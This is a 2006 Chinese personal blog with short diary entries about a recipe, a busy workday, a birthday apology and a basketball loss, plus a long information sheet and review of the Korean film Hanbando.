在收拾厨房的时候看到天然气灶旁的那张手抄的菜谱,上面已经满是油迹,心里忽然一阵感动。在这里我想说一声谢谢,还有就是以后要天天给我做饭,哈哈:-)
下面是几张实物图供大家分享,眼馋眼馋:-) 10/22/2006 一部颠覆韩国历史的电影——<<韩半岛>>今早9点就起了,看了一下前几天下的一部最新的电影——<<韩半岛>>
◎译 名 韩半岛
◎片 名 Hanbando ◎年 代 2006 ◎国 家 韩国 ◎类 别 剧情/神秘/惊悚 ◎语 言 韩语 ◎IMDB评分 5.2/10 (17 votes) ◎IMDB链接 http://www.imdb.com/title/tt0473490 ◎文件格式 XviD + AC3 ◎视频尺寸 640 x 272 ◎片 长 148 Min ◎导 演 康佑硕 (KANG Wu-Seok) ◎主 演 车仁表 (CHA In-Pyo) 安圣基 (AHN Sung-Ki) 文成根 (MUN Seong-Keun) 赵在铉 (JO Jae-Hyun) 姜信日 (KANG Shin-Il) 金相仲 (KIM Sang-Jung) ◎简 介 剧情:这样一个故事 影片围绕日趋敏感的“半岛问题”展开想象,“政治”却并不“沉重”。影片中假想南北统一在即,而作为以往的警戒线上的铁路也将要开通,仪式正在积极筹措中。此时,一向与美国有同一爱好的日本,却拿出了1907与当时的大韩帝国签署的一份条约,并想凭借这个条约来阻止铁路开通仪式。为了加强影响力,甚至威胁要将所有对韩的资金和技术撤出。 在这个紧张时刻,韩国的史学家崔民在博士(赵宰贤饰)居然提出惊天之论——条约上使用的国印是假的!但是怎么证明呢?只有找出真的国印,进而推翻日本方面的证据。 韩国总统(安圣基饰)相信并支持史学家的论断,并筹建寻找国印真相委员会,将最后的筹码压在了“国印真相”上。 而以韩国总理(文成根饰)为首的“反对派”则认为国印真假其实并不能改变目前局势,现在应注重国家安全和与日本的关系,而阻止挖掘国印的任务落在了国家情报局秘书官李尚铉(车仁表饰)的肩上,密令如果国印真的存在也要让它永远消失,必要的时候可以让崔民在为国民牺牲。 这是一场什么样的较量?一触即发的战争是否会爆发?雾一样的谜团将怎样展开…… 看点:这样一场华丽 这部影片可谓大手笔的宏片巨作,财政——C.G20亿韩元;美术20亿韩元;总投入96亿韩元;人员——演员148人、群众演员1万人、10个月的C.G制作人员90人。制作——政府综合大楼按实际6比1的比率制作,增强了影片的真实度;为了完美的再现大韩帝国时期的风貌,高宗皇帝的长安堂,明成皇后的居室等的制作更是匠心独具、妙手添花。 同时根据影片需要,更有实际的军事部队鼎力协助。“友情出演”的武器装备有:韩国国内最大的DDH-11级驱逐舰、护卫舰、8架F-16战斗机。并在陆地和空中同时拍摄。而为了拍摄真实美观,特别请到海外制作班底,他们的参与让整个高空拍摄等都进行的非常顺利。并首次引用曾在电影《金刚》等好莱坞大片中使用的特殊摄影机Spacecam。道具的制作也十分谨慎并力求逼真,国印由韩国唯一一位专门从事修复国印的闵洪奎老师参与制作。而明成皇后的一套韩国传统服饰更是高达1000万!!! 诚如导演康佑硕所说:相信这部电影除了将会让观众们看到韩国的历史也会看到韩国传统服饰的华丽美。另外,电影《韩半岛》也是第一个在青瓦台全程实景拍摄的电影。 这样一种信念 导演康佑硕一向是韩国电影界实力派的代表,更被称为“票房大师”。他说:“质量并不高的外国电影正在大量地涌入韩国,我要站出来捍卫韩国电影了。”“这部影片将韩国的过去和现在还有未来紧密的联系起来。通过事实和假想结合的故事让我们去反思过去,深思现在和未来。电影中有让人感动的流泪的瞬间,也有激发民族精神的瞬间,但这部电影没有刻意想去引导什么。” 这样一位特工 由车仁表饰演的情报官酷酷的,而他平时给观众的印象似乎也是酷酷的。其实不然,作为韩国实力派演员的他,演技自然纯熟,而为人也善良宽厚。曾担任过联合国儿童基金会的亲善大使、韩国中央受虐儿童预防中心的宣传大使。爱妻申爱罗一直热心于公益事业,经常去福利机构照顾不幸儿童,并每周都去大韩社会福利会做义工。2004年年底他们曾向某福利基金捐赠了1亿韩元(约合78万元人民币)。他来到中国三年,接拍了三部电视大戏。他表示准备明年在韩国开拍电视剧,并由中国演员来主演。他说:“文化应该是双向交流的,如今在中国可以看到很多部韩剧,但在韩国却几乎看不到中国的电视剧,这是很不公平的。 接到《韩半岛》的剧本,不但不能拒绝,他也不想错过。“我想影片的完成度还在其次,重要的是向社会提出疑问,我认为,仅此一点就没白花100亿韩元。”并说即使不给出场费,也会出演。而对于自己在片中的表现,他认为演技只达到期待的70%。 点评:这样一场盛宴 影片于6月28日在首尔CGV电影院召开了VIP首映会。会上片中主演车仁表、赵在贤、姜先日、文成根等均有出席,许多圈内好友如:Super Junior成员崔始源,酷龙成员具俊烨,还有崔志宇、车仁表妻子申爱罗等均来“捧场”,煞是热闹非凡。而预先准备的一个上映馆也因来宾众多显得力不从心,不得不另外增开了两处上映馆。 这样一股“牛市” 《韩半岛》在还没正式上映前就因为世界杯期间的宣传和渲染而人气火爆,13日一上映果然创下相当不错的票房成绩。当天晚上,在首尔中心街的剧场举行了观众见面会,车仁表在说完问候语后,还突然掏出手机对着观众席按下快门并说:“这是我出演的影片第一次出现满员现象,所以我想留个纪念。”顿时令剧场内笑声如潮,气氛大好。17日,制作方KnJ娱乐证实了一项数据,即自13日上映起到16日仅四天的时间里,全韩约有124万观众购票观看了此片。CJ娱乐公司(发行)的一位负责人说:“据统计,首映第一天吸引了全国23万名观众。因为不是周末,而且还下着雨,可以说之前关于电影的政治争议成功吸引了大众。” 继而制作方将影片投放到首都首尔的121家影院放映,上映首周便吸引了333755名观众观看。继而在全国范围内投放500余家影院,观众数量更是达到了1242438人。在被大规模涌进的外国电影挤压下票房惨淡的韩国电影市场中,本片可谓狠狠的“牛”了一把。 《韩半岛》反日? 随着影片《韩半岛》的热映,想当然的引起了日本媒体的高度关注,导演康佑硕在当地一个电视节目中阐述了自己的想法:“如果把《韩半岛》单纯地视为反日影片,那就是对影片理解有误。” 康佑硕还说:“如果要讲述韩国近代史,就不能排除日本,请理解要通过该片重新审视我们自己的宗旨。超过300万的观众也不是因为政治焦点观看此片。” 对于影片中的背景与当前的状况如此相似“《韩半岛》从3年前就开始着手企划,与当前的状况全然无关。希望日本能够理解韩国人的悲痛情绪。”康导的说辞颇为谨慎,但票房的飙高与韩国国内日趋增长的“爱国热情”和“民族情节”似乎颇有关联——近来的一些“政治事件”让韩国人“怒了”,世界杯的“太极战士”让韩国民族精神“火了”…… 下面是电影的截图:
下载种子:韩半岛 10/20/2006 重玩极品飞车III昨晚闲暇无聊,突然想起了极品飞车,可能是最近周围的同事总是在讨论年前应该配一台怎么样的电脑来玩极品飞车9。于是乎我在迅雷上搜了一下,下了一个极品III,我这破机器也就只能玩点3了,很快就下完了,开了一把感觉很不错,有想起当年我和涛仔在宿舍飚极品III(当时好像电脑没配多久,也不知道都有什么版本),虽然画面很粗糙(845GL集成显卡,没办法啊),不过还是玩得很HAPPY! 10/18/2006 繁忙的一天今天在电脑前坐了十个小时,这就是目前的工作,晚上11点才回到宿舍,看了看几个好友的Space然后给自己的空间也添加了"朋友"模块,加入了喇叭和小马.
现在的生活比较紧凑,也很有规律,但是往往感觉什么都没干就到周末了,时间过得要比在学校还快,也许很快就会老了吧,如同那些老同志一样…… 9/6/2006 给女友的道歉今天是女朋友的生日,我本来应该在第一时间给她说Happy birthday的,但是晚上球赛赢了,领导请吃饭,都十点了,吃完就快十二点了,回来就想着赶紧回短信让她不要担心,结果没有控制好时间,结果没有在正点发生日快乐,真的很内疚,希望新的一岁里一切如意,我也会更加爱她的:-) 8/20/2006 世锦赛第一场中国男篮在世锦赛的第一场就输给了意大利队,从场上来看意大利队很一般,特别一般,中国队更一般,不然也不会输那么多分,中国男篮去欧洲拉练了那么久都没有赢过球,现在这种状态看来会一直延续下去,虽然不知道最后能不能出线,不过现在是一点看球的心情都没有了。 |
|
|